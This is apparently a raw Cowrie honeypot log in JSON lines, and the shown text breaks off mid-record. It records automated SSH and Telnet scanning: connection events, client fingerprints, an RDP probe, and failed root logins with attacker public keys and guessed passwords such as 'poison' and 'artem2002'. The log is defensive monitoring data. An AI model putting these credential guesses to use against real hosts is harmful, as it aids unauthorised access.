{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:d0:e1:c3:ad:34:cf:da:e5:df:b3:7a:d4:89:8c:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr4/Y+K4/7LTtBKQJHGuIhX9FNFxfX87K8Hu5E26uDJsfvz8mfx96isGQ+AtRXZHxSru3Gju3zHP6V5ef2fCTkDZkrcuHPdjPMP08045Wgn88BZZ+lYdJnxtLxMrIu3AxSsqr3qxmJ6wOD3hHRBG1rQZqn7NZ0WyTf2pgJ8UHhgLF+jbsCQtbTMWDHSKG6TstAvu/64enXFJc8+W0VlimELi6cID1O6+nTAO0auWtFDyxjvm5SZHuL0vJ2QhXVbubq6uruhUoToWm+Jxyl2RcD1QOCaIMskb6T65gYOuzYIZVq4Xgc++QP5/zPEw9BxL0LeOx92e/odgfiwgeUg5cO621t00yU+I8btbPQBm0lt3h/En7exqvJwpbiNw+G7GgpQyLViiWAP9oGuoS4A6SZQLsOo26cYB0b/xLO1pK/WHvqoDdyreVqjVUAf+3txu+gYitI1Pv92384kBYEUCkI4ex1d1H+DAUTeqT+4T93QXVcyVrOu/3nZj2M3V8oOXsYEuM1ehF6N7c8hGY4kc/ZbNOpQry56LvAMxaWvgQmSy7K+wY/6iHmFSmMgGJbbwkWQK6owka6enuO6RmRy5lTRzR0j7sSeRnjwuBUxi/subn65h/6KiDz03qX6d1vE2M7mZxELXfNk3/a0g5+63eLqEJchY/jRobVvlMLl3IrtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.875226Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:64:38:dd:78:44:cd:d5:c5:18:da:52:4d:a2:5c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDd3Y89FEVMZoyPx9E1Hq/XrUPfz+OieF/8Ht42ll2fSvmPnsjqnkiUmWAKUQl3PJPFKscRj5NNPQYr1qCWTnn2WdeAwx+6LCnac3TwwnqKSNgVmAdHagSgyCynBqUomT/RwJYELNg5d7bCWdTdD3K7xpAuN3X9sUSCnUvoKP0BWbrvSvwjxKmXJRczyVVxgYFbC5howx7CP5UtkzI69Uui5/C3qTyhRQYTXV9+uSDCGvpMEfdUyo02ME8oXMoGna6yNOtvSjvx+/UY6PI/6VzCN0zS7izYyAccGiRt7vLXWVo5iKJchv2Q9UFIHLg9gR+SWOCB5NkFJ/hm6wxu8W5XNIseQ8sxVOoXobiyloHo3itBeAD3sloktmctidMpLvwdkqYbKHwYZib4XKNwqFJIssCrfWmhA9x5j8h8QrRfDmJYiye4pHKgWKghdDm1rOOlDbnlrzgAlR93IaIM3rZnMF3tb6sBWGqvuuxtHUn4AVMyYo3bR9fIssl8CZnflGHr7b03k9RqvjL7pkbCF6edRRzgUtEMJRUtr2JPrhAUXKikC2zaW6ugY3hVtvj9x1TYglg+rUA5U00D/V4lpMpd1gojHWIc0KCRMDgwfNpH+ms39l0NDk0YY7y8Y+PkiyUpBVP4KD/rNRp3uk2SlH5MVETOy7v00Hql7hNkmC+20Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:64:38:dd:78:44:cd:d5:c5:18:da:52:4d:a2:5c:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.970271Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:64:38:dd:78:44:cd:d5:c5:18:da:52:4d:a2:5c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDd3Y89FEVMZoyPx9E1Hq/XrUPfz+OieF/8Ht42ll2fSvmPnsjqnkiUmWAKUQl3PJPFKscRj5NNPQYr1qCWTnn2WdeAwx+6LCnac3TwwnqKSNgVmAdHagSgyCynBqUomT/RwJYELNg5d7bCWdTdD3K7xpAuN3X9sUSCnUvoKP0BWbrvSvwjxKmXJRczyVVxgYFbC5howx7CP5UtkzI69Uui5/C3qTyhRQYTXV9+uSDCGvpMEfdUyo02ME8oXMoGna6yNOtvSjvx+/UY6PI/6VzCN0zS7izYyAccGiRt7vLXWVo5iKJchv2Q9UFIHLg9gR+SWOCB5NkFJ/hm6wxu8W5XNIseQ8sxVOoXobiyloHo3itBeAD3sloktmctidMpLvwdkqYbKHwYZib4XKNwqFJIssCrfWmhA9x5j8h8QrRfDmJYiye4pHKgWKghdDm1rOOlDbnlrzgAlR93IaIM3rZnMF3tb6sBWGqvuuxtHUn4AVMyYo3bR9fIssl8CZnflGHr7b03k9RqvjL7pkbCF6edRRzgUtEMJRUtr2JPrhAUXKikC2zaW6ugY3hVtvj9x1TYglg+rUA5U00D/V4lpMpd1gojHWIc0KCRMDgwfNpH+ms39l0NDk0YY7y8Y+PkiyUpBVP4KD/rNRp3uk2SlH5MVETOy7v00Hql7hNkmC+20Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.973997Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44088,"dst_ip":"10.17.0.5","dst_port":23,"session":"36211dc8cdce","protocol":"telnet","message":"New connection: 152.42.224.71:44088 (10.17.0.5:23) [session: 36211dc8cdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.979990Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:85:b7:c3:d2:6f:9e:65:4f:08:10:63:d3:10:2f:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq5Ccs5YMEl61N16c9/eLrds77ARDIxWQBLHNObOOPqlMg7u4E+zgpX2Xh+DNdSr2T4Nt93c/q06SEfQdW4clIECNFKxtWVxF8dNUyzxXTL2cj96AA7p2Ve0FEn1O35jVl5AffmvPRImzsczaAzFhd44YOxWjGMgtu8WnUZz+3Z7lEslhTbotIhEorg+ruxlpzgdGwkiv8IFx8pPTF7xua32shdL+gK8aqeNwIAJho/oWuKiUop4PtVM/ZONAWv+vMZ12sAPic0yC9/NnTG48nVDzNF/2o0oExEOvEA6x/osw7d1qDlqahqzclVT4kgxIVJSRNglnALkGIUgIYB9NV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:85:b7:c3:d2:6f:9e:65:4f:08:10:63:d3:10:2f:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:16.070660Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:85:b7:c3:d2:6f:9e:65:4f:08:10:63:d3:10:2f:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq5Ccs5YMEl61N16c9/eLrds77ARDIxWQBLHNObOOPqlMg7u4E+zgpX2Xh+DNdSr2T4Nt93c/q06SEfQdW4clIECNFKxtWVxF8dNUyzxXTL2cj96AA7p2Ve0FEn1O35jVl5AffmvPRImzsczaAzFhd44YOxWjGMgtu8WnUZz+3Z7lEslhTbotIhEorg+ruxlpzgdGwkiv8IFx8pPTF7xua32shdL+gK8aqeNwIAJho/oWuKiUop4PtVM/ZONAWv+vMZ12sAPic0yC9/NnTG48nVDzNF/2o0oExEOvEA6x/osw7d1qDlqahqzclVT4kgxIVJSRNglnALkGIUgIYB9NV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:16.074929Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:dd:b4:a3:91:68:9f:74:2c:bc:56:56:f1:e2:30:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQZqRw/iABaWv1FPGweR7kWwaVfr+goJNSLWQifBAk8h2+SFvuARAcCTt6qKmPTcJyWcOktr4pLsO28je/eKjUL5NcDDdGZQdAOKjlC3Vg2UR+VYNv/6F2Dq7SjQVFhrtyQBhF0jHkd+ixd53PqaoKLKrV5W7EjlA9MAruMXdrtjykdP3qHBz+pWsseI72pbnGwXkZZhNojyQ03sq0mC1metzUqDMMX48lyasAPRVliOVBFqdTMAa27KmgcJ4eNIluTbKSmArheA3a1Hz++XNEsNUSlwKFTKURYMbL6lVhXYWU7FNytL450m+pph15dgpuXdnObB4kIyK2qzlTgvnB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:dd:b4:a3:91:68:9f:74:2c:bc:56:56:f1:e2:30:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:16.170989Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:dd:b4:a3:91:68:9f:74:2c:bc:56:56:f1:e2:30:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQZqRw/iABaWv1FPGweR7kWwaVfr+goJNSLWQifBAk8h2+SFvuARAcCTt6qKmPTcJyWcOktr4pLsO28je/eKjUL5NcDDdGZQdAOKjlC3Vg2UR+VYNv/6F2Dq7SjQVFhrtyQBhF0jHkd+ixd53PqaoKLKrV5W7EjlA9MAruMXdrtjykdP3qHBz+pWsseI72pbnGwXkZZhNojyQ03sq0mC1metzUqDMMX48lyasAPRVliOVBFqdTMAa27KmgcJ4eNIluTbKSmArheA3a1Hz++XNEsNUSlwKFTKURYMbL6lVhXYWU7FNytL450m+pph15dgpuXdnObB4kIyK2qzlTgvnB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:16.174896Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:16.272438Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.41926670074463,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:17.798421Z","src_ip":"152.42.224.71","session":"775e41f9bcdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"0425fa5fd6cc","protocol":"ssh","message":"New connection: 152.42.212.128:50058 (159.203.135.109:22) [session: 0425fa5fd6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:19.304902Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:19.309204Z","src_ip":"152.42.212.128","session":"0425fa5fd6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:19.311862Z","src_ip":"152.42.212.128","session":"0425fa5fd6cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44094,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba685f2603e","protocol":"telnet","message":"New connection: 152.42.224.71:44094 (10.17.0.5:23) [session: cba685f2603e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:20.637099Z"}
{"eventid":"cowrie.session.closed","duration":38.51687216758728,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:28.404025Z","src_ip":"152.42.224.71","session":"5ad747515e85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.950308322906494,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:30.357323Z","src_ip":"152.42.224.71","session":"5a01c94c1cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34794,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad61270680b9","protocol":"telnet","message":"New connection: 152.42.224.71:34794 (10.17.0.5:23) [session: ad61270680b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:32.122416Z"}
{"eventid":"cowrie.session.closed","duration":26.614798545837402,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:32.152961Z","src_ip":"152.42.224.71","session":"ad708f160253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.187058210372925,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:32.170921Z","src_ip":"152.42.224.71","session":"7b073527e3ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.184099435806274,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:32.458328Z","src_ip":"152.42.224.71","session":"f84d1c02fe8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.132638931274414,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:34.375853Z","src_ip":"152.42.224.71","session":"5931921a61b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.213624715805054,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:39.709493Z","src_ip":"152.42.224.71","session":"57803a0afc37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f30abf82a3","protocol":"telnet","message":"New connection: 152.42.224.71:33534 (10.17.0.5:23) [session: f6f30abf82a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:41.042502Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":58726,"dst_ip":"159.203.135.109","dst_port":22,"session":"89ffc0d88d9f","protocol":"ssh","message":"New connection: 176.32.39.21:58726 (159.203.135.109:22) [session: 89ffc0d88d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:41.243651Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c312df31fa1","protocol":"telnet","message":"New connection: 152.42.224.71:33548 (10.17.0.5:23) [session: 6c312df31fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:41.501492Z"}
{"eventid":"cowrie.session.closed","duration":120.00137662887573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:42.054208Z","src_ip":"152.42.224.71","session":"273003082fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55142,"dst_ip":"10.17.0.5","dst_port":22,"session":"2659339d9c38","protocol":"ssh","message":"New connection: 193.37.70.224:55142 (10.17.0.5:22) [session: 2659339d9c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:45.496874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:45.512545Z","src_ip":"193.37.70.224","session":"2659339d9c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:45.593167Z","src_ip":"193.37.70.224","session":"2659339d9c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poison","message":"login attempt [root/poison] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:45.965681Z","src_ip":"193.37.70.224","session":"2659339d9c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"345bf53ec099","protocol":"telnet","message":"New connection: 152.42.224.71:38956 (10.17.0.5:23) [session: 345bf53ec099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:46.309871Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:47.073223Z","src_ip":"193.37.70.224","session":"2659339d9c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ee28da5087","protocol":"telnet","message":"New connection: 152.42.224.71:38966 (10.17.0.5:23) [session: 02ee28da5087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:47.295078Z"}
{"eventid":"cowrie.session.closed","duration":35.739933252334595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:50.469215Z","src_ip":"152.42.224.71","session":"3262eee86b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4bad25bcfa","protocol":"telnet","message":"New connection: 152.42.224.71:38970 (10.17.0.5:23) [session: fd4bad25bcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:52.505459Z"}
{"eventid":"cowrie.session.closed","duration":33.31404972076416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:53.951044Z","src_ip":"152.42.224.71","session":"cba685f2603e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.09503197669983,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:00.074942Z","src_ip":"152.42.224.71","session":"36211dc8cdce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00330448150635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:01.694046Z","src_ip":"152.42.224.71","session":"159463ad25cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147819519043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:02.411949Z","src_ip":"152.42.224.71","session":"c03f57cf2c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.67279052734375,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:03.570271Z","src_ip":"152.42.224.71","session":"a25006795ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce4b4ed92653","protocol":"telnet","message":"New connection: 152.42.224.71:40806 (10.17.0.5:23) [session: ce4b4ed92653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:04.718994Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":55094,"dst_ip":"10.17.0.5","dst_port":22,"session":"008f6c91a229","protocol":"ssh","message":"New connection: 103.122.221.179:55094 (10.17.0.5:22) [session: 008f6c91a229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:05.299363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:05.304151Z","src_ip":"103.122.221.179","session":"008f6c91a229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:05.566760Z","src_ip":"103.122.221.179","session":"008f6c91a229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2002","message":"login attempt [root/artem2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:06.354259Z","src_ip":"103.122.221.179","session":"008f6c91a229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:07.619976Z","src_ip":"103.122.221.179","session":"008f6c91a229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae522bc80f0","protocol":"ssh","message":"New connection: 51.250.105.222:59692 (159.203.135.109:22) [session: eae522bc80f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:10.272362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:10.276969Z","src_ip":"51.250.105.222","session":"eae522bc80f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-g